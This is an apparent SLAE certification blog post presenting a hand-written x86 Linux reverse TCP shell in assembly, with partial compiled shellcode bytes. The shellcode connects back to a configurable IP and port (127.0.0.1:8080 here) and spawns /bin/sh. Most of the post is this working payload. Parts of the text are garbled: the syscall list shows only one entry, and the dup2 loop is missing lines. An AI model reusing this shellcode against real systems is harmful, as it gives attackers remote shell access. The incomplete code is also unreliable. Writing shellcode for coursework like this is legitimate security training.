This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1202

TL;DR: Final shellcode is here

Hi again! Today is sunday - most productive day of the week :)

Recently I published results of msfvenom-generated linux/x86/shellcode_reverse_tcp reverse engineering and now I am ready to present you my own reverse tcp shell.

You probably know that unlike the bind tcp shellcode, reverse tcp shellcode consists of 4 parts and syscalls. Here is a list:

  2. SYS_DUP2

There was not so hard to implement all these four steps (after 6 steps in bind_tcp shellcode and a huge amount of things to research). Actually, SYS_SOCKET, SYS_DUP2 and SYS_EXECVE calls are the same as in Bind_TCP shellcode. SYS_CONNECT has the same order of arguments as the SYS_BIND too.

I won’t publish deep description of this shellcode and all optimisation steps, because most of the code is the same, and you should be familiar with this if you read my previous articles.

Reverse_TCP Shellcode

After some optimization and cleaning 0x00 bytes I got something like that:

; reverse_shell.asm
; Author: German Namestnikov

global _start

section .text
    ; int socket(int domain, int type, int protocol);
    xor eax, eax
    xor ebx, ebx
    xor esi, esi

    mov al, 0x66       ; SYS_SOCKETCALL
    inc ebx            ; SYS_SOCKET

    push esi                  ; protocol = 0
    push ebx                  ; type = SOCK_STREAM
    push dword 0x02           ; domain = AF_INET

    mov ecx, esp        ; ecx -> params 

    int 0x80            

    xor ebx, ebx
    xchg ebx, eax        ; save socket descriptor 
    ; int dup2(int oldfd, int newfd);
    ; int dup2(accept_descriptor, STDERR/STDOUT/STDIN)
    xor ecx, ecx
    pop ecx
        mov al, 0x3f
        int 0x80    
        dec ecx
        jns dup2_call
    xchg ebx, edx    ; EBX stores socket descriptor, need to save in into EDX
    ; int connect(int sockfd, const struct sockaddr *addr,
    ;            socklen_t addrlen);
    mov al, 0x66       ; SYS_SOCKETCALL
    mov bl, 0x03       ; SYS_CONNECT

    ; struct sockaddr_in {
    push dword 0x0100007f     ; sin_addr = htons(  <-- host 
    push word 0x901f          ; sin_port = htons(8080)  <------- port 
    push word 0x02            ; sin_family = AF_INET
    ; };
    mov ecx, esp       	; ecx -> sockaddr_in addr
    push dword 0x10     ; addrlen = 16
    push ecx            ; sockaddr_in* addr
    push edx            ; sockfd
    mov ecx, esp        ; ecx -> params

    int 0x80

    ; int execve(const char *filename, char *const argv[],
    ;              char *const envp[]);
    xor eax, eax
    push eax                    ; NULL-terminator for '/bin//sh'	
    push dword 0x68732f2f	; push "hs//"
    push dword 0x6e69622f	; push "nib/"
    mov ebx, esp	; EBX points to the '/bin//sh', 0x00 string 
    xor ecx, ecx 	; Set 0 all other params
    xor edx, edx        ; for SYS_EXECVE
    xor esi, esi

    mov al, 0x0b 	; SYS_EXECVE CODE
    int 0x80 

The only 0x00 bytes here are bytes from IP address I used for tests ( This shellcode takes only 83 bytes and IP and Port are easily configurable.

Here is a compiled version of this shellcode:


"\x7f\x00\x00\x01"  // IP to connect


"\x1f\x90"          // Port


During this work I found several mistakes in previous bind_tcp shellcode, and that helped me to make this code more efficient. I will try it again and I am sure that I will find something again :D

Also, I would like to reming you, that I have a GitHub repo, where I will publish all my code from SLAE course.

Good Luck!

The end